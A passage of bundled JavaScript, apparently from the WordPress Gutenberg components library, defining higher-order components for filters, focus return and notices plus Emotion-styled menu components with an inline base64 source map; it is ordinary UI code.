50036 (0, import_hooks11.removeAction)("hookAdded", namespace);
50037 }
50038 }
50039 render() {
50040 return /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(FilteredComponent, {
50041 ...this.props
50042 });
50043 }
50044 }
50045 FilteredComponentRenderer.instances = [];
50046 const throttledForceUpdate = (0, import_compose79.debounce)(() => {
50047 FilteredComponent = (0, import_hooks11.applyFilters)(hookName, OriginalComponent);
50048 FilteredComponentRenderer.instances.forEach((instance) => {
50049 instance.forceUpdate();
50050 });
50051 }, ANIMATION_FRAME_PERIOD);
50052 function onHooksUpdated(updatedHookName) {
50053 if (updatedHookName === hookName) {
50054 throttledForceUpdate();
50055 }
50056 }
50057 return FilteredComponentRenderer;
50058 }, "withFilters");
50059 }
50060
50061 // packages/components/build-module/higher-order/with-focus-return/index.mjs
50062 var import_element221 = __toESM(require_element(), 1);
50063 var import_compose80 = __toESM(require_compose(), 1);
50064 var import_deprecated27 = __toESM(require_deprecated(), 1);
50065 var import_jsx_runtime298 = __toESM(require_jsx_runtime(), 1);
50066 function isComponentLike(object) {
50067 return object instanceof import_element221.Component || typeof object === "function";
50068 }
50069 var with_focus_return_default = (0, import_compose80.createHigherOrderComponent)(
50070 // @ts-expect-error TODO: Reconcile with intended `createHigherOrderComponent` types
50071 (options2) => {
50072 const HoC = ({
50073 onFocusReturn
50074 } = {}) => (WrappedComponent) => {
50075 const WithFocusReturn = (props) => {
50076 const ref = (0, import_compose80.useFocusReturn)(onFocusReturn);
50077 return /* @__PURE__ */ (0, import_jsx_runtime298.jsx)("div", {
50078 ref,
50079 children: /* @__PURE__ */ (0, import_jsx_runtime298.jsx)(WrappedComponent, {
50080 ...props
50081 })
50082 });
50083 };
50084 return WithFocusReturn;
50085 };
50086 if (isComponentLike(options2)) {
50087 const WrappedComponent = options2;
50088 return HoC()(WrappedComponent);
50089 }
50090 return HoC(options2);
50091 },
50092 "withFocusReturn"
50093 );
50094 var Provider3 = ({
50095 children
50096 }) => {
50097 (0, import_deprecated27.default)("wp.components.FocusReturnProvider component", {
50098 since: "5.7",
50099 hint: "This provider is not used anymore. You can just remove it from your codebase"
50100 });
50101 return children;
50102 };
50103
50104 // packages/components/build-module/higher-order/with-notices/index.mjs
50105 var import_element222 = __toESM(require_element(), 1);
50106 var import_compose81 = __toESM(require_compose(), 1);
50107 var import_jsx_runtime299 = __toESM(require_jsx_runtime(), 1);
50108 var with_notices_default = (0, import_compose81.createHigherOrderComponent)((OriginalComponent) => {
50109 function Component9(props, ref) {
50110 const [noticeList, setNoticeList] = (0, import_element222.useState)([]);
50111 const noticeOperations = (0, import_element222.useMemo)(() => {
50112 const createNotice = (notice) => {
50113 const noticeToAdd = notice.id ? notice : {
50114 ...notice,
50115 id: v4_default()
50116 };
50117 setNoticeList((current) => [...current, noticeToAdd]);
50118 };
50119 return {
50120 createNotice,
50121 createErrorNotice: (msg) => {
50122 createNotice({
50123 status: "error",
50124 content: msg
50125 });
50126 },
50127 removeNotice: (id3) => {
50128 setNoticeList((current) => current.filter((notice) => notice.id !== id3));
50129 },
50130 removeAllNotices: () => {
50131 setNoticeList([]);
50132 }
50133 };
50134 }, []);
50135 const propsOut = {
50136 ...props,
50137 noticeList,
50138 noticeOperations,
50139 noticeUI: noticeList.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime299.jsx)(list_default, {
50140 className: "components-with-notices-ui",
50141 notices: noticeList,
50142 onRemove: noticeOperations.removeNotice
50143 })
50144 };
50145 return isForwardRef ? /* @__PURE__ */ (0, import_jsx_runtime299.jsx)(OriginalComponent, {
50146 ...propsOut,
50147 ref
50148 }) : /* @__PURE__ */ (0, import_jsx_runtime299.jsx)(OriginalComponent, {
50149 ...propsOut
50150 });
50151 }
50152 let isForwardRef;
50153 const {
50154 render
50155 } = OriginalComponent;
50156 if (typeof render === "function") {
50157 isForwardRef = true;
50158 return (0, import_element222.forwardRef)(Component9);
50159 }
50160 return Component9;
50161 }, "withNotices");
50162
50163 // packages/components/build-module/menu/index.mjs
50164 var import_element235 = __toESM(require_element(), 1);
50165 var import_i18n79 = __toESM(require_i18n(), 1);
50166
50167 // packages/components/build-module/menu/context.mjs
50168 var import_element223 = __toESM(require_element(), 1);
50169 var Context2 = (0, import_element223.createContext)(void 0);
50170 Context2.displayName = "MenuContext";
50171
50172 // packages/components/build-module/menu/item.mjs
50173 var import_element224 = __toESM(require_element(), 1);
50174
50175 // packages/components/build-module/menu/styles.mjs
50176 function _EMOTION_STRINGIFIED_CSS_ERROR__41() {
50177 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
50178 }
50179 var CONTENT_WRAPPER_PADDING = space(1);
50180 var ITEM_PADDING_BLOCK = space(1);
50181 var ITEM_PADDING_INLINE = space(3);
50182 var DEFAULT_BORDER_COLOR = COLORS.theme.gray[300];
50183 var DIVIDER_COLOR = COLORS.theme.gray[200];
50184 var LIGHTER_TEXT_COLOR = COLORS.theme.gray[700];
50185 var LIGHT_BACKGROUND_COLOR = COLORS.theme.gray[100];
50186 var TOOLBAR_VARIANT_BORDER_COLOR = COLORS.theme.foreground;
50187 var DEFAULT_BOX_SHADOW = `0 0 0 ${config_values_default.borderWidth} ${DEFAULT_BORDER_COLOR}, ${config_values_default.elevationMedium}`;
50188 var TOOLBAR_VARIANT_BOX_SHADOW = `0 0 0 ${config_values_default.borderWidth} ${TOOLBAR_VARIANT_BORDER_COLOR}`;
50189 var GRID_TEMPLATE_COLS = "minmax( 0, max-content ) 1fr";
50190 var Menu22 = /* @__PURE__ */ createStyled(Menu, false ? {
50191 target: "e1wg7tti13"
50192 } : {
50193 target: "e1wg7tti13",
50194 label: "Menu"
50195 })("position:relative;z-index:1000000;display:grid;grid-template-columns:", GRID_TEMPLATE_COLS, ";grid-template-rows:auto;box-sizing:border-box;min-width:160px;max-width:320px;max-height:var( --popover-available-height );padding:", CONTENT_WRAPPER_PADDING, ";overscroll-behavior:contain;overflow:auto;background-color:", COLORS.ui.background, ";border-radius:", config_values_default.radiusMedium, ";", (props) => /* @__PURE__ */ css("box-shadow:", props.variant === "toolbar" ? TOOLBAR_VARIANT_BOX_SHADOW : DEFAULT_BOX_SHADOW, ";" + (false ? "" : ";label:Menu;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF3RG9CIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCAqIGFzIEFyaWFraXQgZnJvbSAnQGFyaWFraXQvcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIGZvbnQsIHJ0bCwgQ09ORklHLCBEUk9QRE9XTl9NT1RJT05fQ1NTIH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgSWNvbiBmcm9tICcuLi9pY29uJztcbmltcG9ydCB7IFRydW5jYXRlIH0gZnJvbSAnLi4vdHJ1bmNhdGUnO1xuaW1wb3J0IHR5cGUgeyBDb250ZXh0UHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuY29uc3QgQ09OVEVOVF9XUkFQUEVSX1BBRERJTkcgPSBzcGFjZSggMSApO1xuY29uc3QgSVRFTV9QQURESU5HX0JMT0NLID0gc3BhY2UoIDEgKTtcbmNvbnN0IElURU1fUEFERElOR19JTkxJTkUgPSBzcGFjZSggMyApO1xuXG4vLyBUT0RPOlxuLy8gLSBib3JkZXIgY29sb3IgYW5kIGRpdmlkZXIgY29sb3IgYXJlIGRpZmZlcmVudCBmcm9tIENPTE9SUy50aGVtZSB2YXJpYWJsZXNcbi8vIC0gbGlnaHRlciB0ZXh0IGNvbG9yIGlzIG5vdCBkZWZpbmVkIGluIENPTE9SUy50aGVtZSwgc2hvdWxkIGl0IGJlP1xuLy8gLSBsaWdodGVyIGJhY2tncm91bmQgY29sb3IgaXMgbm90IGRlZmluZWQgaW4gQ09MT1JTLnRoZW1lLCBzaG91bGQgaXQgYmU/XG5jb25zdCBERUZBVUxUX0JPUkRFUl9DT0xPUiA9IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXTtcbmNvbnN0IERJVklERVJfQ09MT1IgPSBDT0xPUlMudGhlbWUuZ3JheVsgMjAwIF07XG5jb25zdCBMSUdIVEVSX1RFWFRfQ09MT1IgPSBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF07XG5jb25zdCBMSUdIVF9CQUNLR1JPVU5EX0NPTE9SID0gQ09MT1JTLnRoZW1lLmdyYXlbIDEwMCBdO1xuY29uc3QgVE9PTEJBUl9WQVJJQU5UX0JPUkRFUl9DT0xPUiA9IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kO1xuY29uc3QgREVGQVVMVF9CT1hfU0hBRE9XID0gYDAgMCAwICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9ICR7IERFRkFVTFRfQk9SREVSX0NPTE9SIH0sICR7IENPTkZJRy5lbGV2YXRpb25NZWRpdW0gfWA7XG5jb25zdCBUT09MQkFSX1ZBUklBTlRfQk9YX1NIQURPVyA9IGAwIDAgMCAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSAkeyBUT09MQkFSX1ZBUklBTlRfQk9SREVSX0NPTE9SIH1gO1xuXG5jb25zdCBHUklEX1RFTVBMQVRFX0NPTFMgPSAnbWlubWF4KCAwLCBtYXgtY29udGVudCApIDFmcic7XG5cbmV4cG9ydCBjb25zdCBNZW51ID0gc3R5bGVkKCBBcmlha2l0Lk1lbnUgKTwgUGljazwgQ29udGV4dFByb3BzLCAndmFyaWFudCcgPiA+YFxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdC8qIFNhbWUgYXMgcG9wb3ZlciBjb21wb25lbnQgKi9cblx0LyogVE9ETzogaXMgdGhlcmUgYSB3YXkgdG8gcmVhZCB0aGUgc2FzcyB2YXJpYWJsZT8gKi9cblx0ei1pbmRleDogMTAwMDAwMDtcblxuXHRkaXNwbGF5OiBncmlkO1xuXHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6ICR7IEdSSURfVEVNUExBVEVfQ09MUyB9O1xuXHRncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG87XG5cblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0bWluLXdpZHRoOiAxNjBweDtcblx0bWF4LXdpZHRoOiAzMjBweDtcblx0bWF4LWhlaWdodDogdmFyKCAtLXBvcG92ZXItYXZhaWxhYmxlLWhlaWdodCApO1xuXG5cdHBhZGRpbmc6ICR7IENPTlRFTlRfV1JBUFBFUl9QQURESU5HIH07XG5cblx0b3ZlcnNjcm9sbC1iZWhhdmlvcjogY29udGFpbjtcblx0b3ZlcmZsb3c6IGF1dG87XG5cblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c01lZGl1bSB9O1xuXHQkeyAoIHByb3BzICkgPT4gY3NzYFxuXHRcdGJveC1zaGFkb3c6ICR7IHByb3BzLnZhcmlhbnQgPT09ICd0b29sYmFyJ1xuXHRcdFx0PyBUT09MQkFSX1ZBUklBTlRfQk9YX1NIQURPV1xuXHRcdFx0OiBERUZBVUxUX0JPWF9TSEFET1cgfTtcblx0YCB9XG5cblx0LyogT25seSB2aXNpYmxlIGluIFdpbmRvd3MgSGlnaCBDb250cmFzdCBtb2RlICovXG5cdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudCAhaW1wb3J0YW50O1xuXG5cdC8qIE9wZW4vY2xvc2UgYW5pbWF0aW9uICovXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdHRyYW5zaXRpb24tcHJvcGVydHk6IHRyYW5zZm9ybSwgb3BhY2l0eTtcblx0XHR0cmFuc2l0aW9uLWR1cmF0aW9uOiAkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RVUkFUSU9OIH0sXG5cdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLkZBREVfRFVSQVRJT04gfTtcblx0XHR0cmFuc2l0aW9uLXRpbWluZy1mdW5jdGlvbjogJHsgRFJPUERPV05fTU9USU9OX0NTUy5TTElERV9FQVNJTkcgfSxcblx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuRkFERV9FQVNJTkcgfTtcblx0XHR3aWxsLWNoYW5nZTogdHJhbnNmb3JtLCBvcGFjaXR5O1xuXG5cdFx0Jjpub3QoIFtkYXRhLXN1Ym1lbnVdICkge1xuXHRcdFx0LyogUmVnYXJkbGVzcyBvZiB0aGUgc2lkZSwgZmFkZSBpbiBhbmQgb3V0LiAqL1xuXHRcdFx0b3BhY2l0eTogMDtcblx0XHRcdCZbZGF0YS1lbnRlcl0ge1xuXHRcdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0fVxuXG5cdFx0XHQvKiBTbGlkZSBpbiB0aGUgZGlyZWN0aW9uIHRoZSBtZW51IGlzIG9wZW5pbmcuICovXG5cdFx0XHQmW2RhdGEtc2lkZT0nYm90dG9tJ10ge1xuXHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoXG5cdFx0XHRcdFx0LSR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfVxuXHRcdFx0XHQpO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLXNpZGU9J3RvcCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKFxuXHRcdFx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfVxuXHRcdFx0XHQpO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLXNpZGU9J2xlZnQnXSB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWChcblx0XHRcdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RJU1RBTkNFIH1cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHRcdCZbZGF0YS1zaWRlPSdyaWdodCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKFxuXHRcdFx0XHRcdC0keyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RJU1RBTkNFIH1cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSdib3R0b20nXSxcblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSd0b3AnXSB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSggMCApO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLWVudGVyXVtkYXRhLXNpZGU9J2xlZnQnXSxcblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSdyaWdodCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKCAwICk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBiYXNlSXRlbSA9IGNzc2Bcblx0YWxsOiB1bnNldDtcblxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQvKiBPY2N1cHkgdGhlIHdpZHRoIG9mIGFsbCBncmlkIGNvbHVtbnMgKGllLiBmdWxsIHdpZHRoKSAqL1xuXHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogJHsgR1JJRF9URU1QTEFURV9DT0xTIH07XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cblx0QHN1cHBvcnRzICggZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiBzdWJncmlkICkge1xuXHRcdC8qXG5cdFx0ICogRGVmaW5lIGEgZ3JpZCBsYXlvdXQgd2hpY2ggaW5oZXJpdHMgdGhlIHNhbWUgY29sdW1ucyBjb25maWd1cmF0aW9uXG5cdFx0ICogZnJvbSB0aGUgcGFyZW50IGxheW91dCAoaWUuIHN1YmdyaWQpLiBUaGlzIGFsbG93cyB0aGUgbWVudVxuXHRcdCAqIHRvIHN5bmNocm9uaXplIHRoZSBpbmRlbnRhdGlvbiBvZiBhbGwgaXRzIGl0ZW1zLlxuXHRcdCAqL1xuXHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogc3ViZ3JpZDtcblx0fVxuXG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdGZvbnQtd2VpZ2h0OiBub3JtYWw7XG5cdGxpbmUtaGVpZ2h0OiAyMHB4O1xuXG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZCB9O1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblxuXHRwYWRkaW5nLWJsb2NrOiAkeyBJVEVNX1BBRERJTkdfQkxPQ0sgfTtcblx0cGFkZGluZy1pbmxpbmU6ICR7IElURU1fUEFERElOR19JTkxJTkUgfTtcblxuXHQvKlxuXHQgKiBNYWtlIHN1cmUgdGhhdCwgd2hlbiBhbiBpdGVtIGlzIHNjcm9sbGVkIGludG8gdmlldyAoZWcuIHdoaWxlIHVzaW5nIHRoZVxuXHQgKiBrZXlib2FyZCB0byBtb3ZlIGZvY3VzKSwgdGhlIHdob2xlIGl0ZW0gY29tZXMgaW50byB2aWV3XG5cdCAqL1xuXHRzY3JvbGwtbWFyZ2luOiAkeyBDT05URU5UX1dSQVBQRVJfUEFERElORyB9O1xuXG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRvdXRsaW5lOiBub25lO1xuXG5cdCZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLnRleHREaXNhYmxlZCB9O1xuXHRcdGN1cnNvcjogbm90LWFsbG93ZWQ7XG5cdH1cblxuXHQvKiBBY3RpdmUgaXRlbSAoaW5jbHVkaW5nIGhvdmVyKSAqL1xuXHQmW2RhdGEtYWN0aXZlLWl0ZW1dOm5vdCggW2RhdGEtZm9jdXMtdmlzaWJsZV0gKTpub3QoXG5cdFx0XHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddXG5cdFx0KSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWQgfTtcblx0fVxuXG5cdC8qIEtleWJvYXJkIGZvY3VzIChmb2N1cy12aXNpYmxlKSAqL1xuXHQmW2RhdGEtZm9jdXMtdmlzaWJsZV0ge1xuXHRcdGJveC1zaGFkb3c6IDAgMCAwIDEuNXB4ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdC8qIE9ubHkgdmlzaWJsZSBpbiBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSAqL1xuXHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0fVxuXG5cdC8qIEFjdGl2ZSAoaWUuIHByZXNzZWQsIG1vdXNlIGRvd24pICovXG5cdCY6YWN0aXZlLFxuXHQmW2RhdGEtYWN0aXZlXSB7XG5cdFx0LyogVE9ETzogc2hvdWxkIHRoZXJlIGJlIGEgdmlzdWFsIGFjdGl2ZSBzdGF0ZT8gKi9cblx0fVxuXG5cdC8qIFdoZW4gdGhlIGl0ZW0gaXMgdGhlIHRyaWdnZXIgb2YgYW4gb3BlbiBzdWJtZW51ICovXG5cdCR7IE1lbnUgfTpub3QoOmZvY3VzKSAmOm5vdCg6Zm9jdXMpW2FyaWEtZXhwYW5kZWQ9XCJ0cnVlXCJdIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBMSUdIVF9CQUNLR1JPVU5EX0NPTE9SIH07XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdH1cblxuXHRzdmcge1xuXHRcdGZpbGw6IGN1cnJlbnRDb2xvcjtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW0gPSBzdHlsZWQoIEFyaWFraXQuTWVudUl0ZW0gKWBcblx0JHsgYmFzZUl0ZW0gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBDaGVja2JveEl0ZW0gPSBzdHlsZWQoIEFyaWFraXQuTWVudUl0ZW1DaGVja2JveCApYFxuXHQkeyBiYXNlSXRlbSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFJhZGlvSXRlbSA9IHN0eWxlZCggQXJpYWtpdC5NZW51SXRlbVJhZGlvIClgXG5cdCR7IGJhc2VJdGVtIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbVByZWZpeFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0LyogQWx3YXlzIG9jY3VweSB0aGUgZmlyc3QgY29sdW1uLCBldmVuIHdoZW4gYXV0by1jb2xsYXBzaW5nICovXG5cdGdyaWQtY29sdW1uOiAxO1xuXG5cdC8qXG5cdCAqIEV2ZW4gd2hlbiB0aGUgaXRlbSBpcyBub3QgY2hlY2tlZCwgb2NjdXB5IHRoZSBzYW1lIHNjcmVlbiBzcGFjZSB0byBhdm9pZFxuXHQgKiB0aGUgc3BhY2UgY29sbGFwc2lkZSB3aGVuIG5vIGl0ZW1zIGFyZSBjaGVja2VkLlxuXHQgKi9cblx0JHsgQ2hlY2tib3hJdGVtIH0gPiAmLFxuXHQkeyBSYWRpb0l0ZW0gfSA+ICYge1xuXHRcdC8qIFNhbWUgd2lkdGggYXMgdGhlIGNoZWNrIGljb25zICovXG5cdFx0bWluLXdpZHRoOiAkeyBzcGFjZSggNiApIH07XG5cdH1cblxuXHQkeyBDaGVja2JveEl0ZW0gfSA+ICYsXG5cdCR7IFJhZGlvSXRlbSB9ID4gJixcblx0Jjpub3QoIDplbXB0eSApIHtcblx0XHRtYXJnaW4taW5saW5lLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHR9XG5cblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cblx0Y29sb3I6ICR7IExJR0hURVJfVEVYVF9DT0xPUiB9O1xuXG5cdC8qXG5cdCogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBhY3RpdmUsIGV4Y2VwdCB3aGVuIGl0J3MgYSBub24tZm9jdXNlZC9ob3ZlcmVkXG5cdCogc3VibWVudSB0cmlnZ2VyIChpbiB0aGF0IGNhc2UsIGNvbG9yIHNob3VsZCBub3QgYmUgaW5oZXJpdGVkKVxuXHQqL1xuXHRbZGF0YS1hY3RpdmUtaXRlbV06bm90KCBbZGF0YS1mb2N1cy12aXNpYmxlXSApID4gJixcblx0LyogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBkaXNhYmxlZCAqL1xuXHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddID4gJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQ29udGVudFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQvKlxuXHQgKiBBbHdheXMgb2NjdXB5IHRoZSBzZWNvbmQgY29sdW1uLCBzaW5jZSB0aGUgZmlyc3QgY29sdW1uXG5cdCAqIGlzIHRha2VuIGJ5IHRoZSBwcmVmaXggd3JhcHBlciAod2hlbiBkaXNwbGF5ZWQpLlxuXHQgKi9cblx0Z3JpZC1jb2x1bW46IDI7XG5cblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0anVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuXHRnYXA6ICR7IHNwYWNlKCAzICkgfTtcblxuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQ2hpbGRyZW5XcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0ZmxleDogMTtcblxuXHRkaXNwbGF5OiBpbmxpbmUtZmxleDtcblx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0Z2FwOiAkeyBzcGFjZSggMSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbVN1ZmZpeFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZmxleDogMCAxIGZpdC1jb250ZW50O1xuXHRtaW4td2lkdGg6IDA7XG5cdHdpZHRoOiBmaXQtY29udGVudDtcblxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0Z2FwOiAkeyBzcGFjZSggMyApIH07XG5cblx0Y29sb3I6ICR7IExJR0hURVJfVEVYVF9DT0xPUiB9O1xuXG5cdC8qXG5cdCAqIFdoZW4gdGhlIHBhcmVudCBtZW51IGl0ZW0gaXMgYWN0aXZlLCBleGNlcHQgd2hlbiBpdCdzIGEgbm9uLWZvY3VzZWQvaG92ZXJlZFxuXHQgKiBzdWJtZW51IHRyaWdnZXIgKGluIHRoYXQgY2FzZSwgY29sb3Igc2hvdWxkIG5vdCBiZSBpbmhlcml0ZWQpXG5cdCAqL1xuXHRbZGF0YS1hY3RpdmUtaXRlbV06bm90KCBbZGF0YS1mb2N1cy12aXNpYmxlXSApICo6bm90KCR7IE1lbnUgfSkgJixcblx0LyogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBkaXNhYmxlZCAqL1xuXHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddICo6bm90KCR7IE1lbnUgfSkgJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBHcm91cCA9IHN0eWxlZCggQXJpYWtpdC5NZW51R3JvdXAgKWBcblx0LyogSWdub3JlIHRoaXMgZWxlbWVudCB3aGVuIGNhbGN1bGF0aW5nIHRoZSBsYXlvdXQuIFVzZWZ1bCBmb3Igc3ViZ3JpZCAqL1xuXHRkaXNwbGF5OiBjb250ZW50cztcbmA7XG5cbmV4cG9ydCBjb25zdCBHcm91cExhYmVsID0gc3R5bGVkKCBBcmlha2l0Lk1lbnVHcm91cExhYmVsIClgXG5cdC8qIE9jY3VweSB0aGUgd2lkdGggb2YgYWxsIGdyaWQgY29sdW1ucyAoaWUuIGZ1bGwgd2lkdGgpICovXG5cdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cblx0cGFkZGluZy1ibG9jay1zdGFydDogJHsgc3BhY2UoIDMgKSB9O1xuXHRwYWRkaW5nLWJsb2NrLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHRwYWRkaW5nLWlubGluZTogJHsgSVRFTV9QQURESU5HX0lOTElORSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFNlcGFyYXRvciA9IHN0eWxlZCggQXJpYWtpdC5NZW51U2VwYXJhdG9yICk8XG5cdFBpY2s8IENvbnRleHRQcm9wcywgJ3ZhcmlhbnQnID5cbj5gXG5cdC8qIE9jY3VweSB0aGUgd2lkdGggb2YgYWxsIGdyaWQgY29sdW1ucyAoaWUuIGZ1bGwgd2lkdGgpICovXG5cdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cblx0Ym9yZGVyOiBub25lO1xuXHRoZWlnaHQ6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9O1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyAoIHByb3BzICkgPT5cblx0XHRwcm9wcy52YXJpYW50ID09PSAndG9vbGJhcidcblx0XHRcdD8gVE9PTEJBUl9WQVJJQU5UX0JPUkRFUl9DT0xPUlxuXHRcdFx0OiBESVZJREVSX0NPTE9SIH07XG5cdC8qIEFsaWduIHdpdGggbWVudSBpdGVtcycgY29udGVudCAqL1xuXHRtYXJnaW4tYmxvY2s6ICR7IHNwYWNlKCAyICkgfTtcblx0bWFyZ2luLWlubGluZTogJHsgSVRFTV9QQURESU5HX0lOTElORSB9O1xuXG5cdC8qIE9ubHkgdmlzaWJsZSBpbiBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSAqL1xuXHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VibWVudUNoZXZyb25JY29uID0gc3R5bGVkKCBJY29uIClgXG5cdHdpZHRoOiAkeyBzcGFjZSggMS41ICk